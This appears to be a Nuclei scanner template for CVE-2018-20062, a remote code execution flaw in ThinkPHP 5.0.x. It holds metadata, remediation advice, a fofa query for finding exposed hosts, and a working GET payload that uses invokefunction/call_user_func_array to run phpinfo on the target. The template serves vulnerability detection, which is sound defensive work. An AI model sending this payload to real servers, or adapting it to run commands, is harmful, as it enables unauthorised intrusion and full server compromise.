ThinkPHP 5.0.23 - Remote Code Execution

id: CVE-2018-20062

info:
  name: ThinkPHP 5.0.23 - Remote Code Execution
  author: dr_set
  severity: critical
  description: |
    An issue was discovered in NoneCms V1.3. thinkphp/library/think/App.php allows remote attackers to execute arbitrary PHP code via crafted use of the filter parameter, as demonstrated by the s=index/\think\Request/input&filter=phpinfo&data=1 query string.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code on the server, leading to complete system compromise, data theft, and potential lateral movement within the network.
  remediation: |
    Upgrade to ThinkPHP version 5.0.24 or later, or apply vendor-provided security patches.
  reference:
    - https://github.com/yilin1203/CVE-2018-20062/blob/main/CVE-2018-20062.py
    - https://github.com/yilin1203/CVE-2018-20062
    - https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-20062
    epss-score: 0.9953
    epss-percentile: 0.9994
    cpe: cpe:2.3:a:5none:nonecms:1.3.0:*:*:*:*:*:*:*
  metadata:
    vendor: 5none
    product: nonecms
    fofa-query: app="ThinkPHP"
    verified: true
    max-request: 1
  tags: cve,cve2018,kev,thinkphp,rce,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "PHP Extension"
          - "PHP Version"
          - "ThinkPHP"
        condition: and

      - type: status
        status:
          - 200
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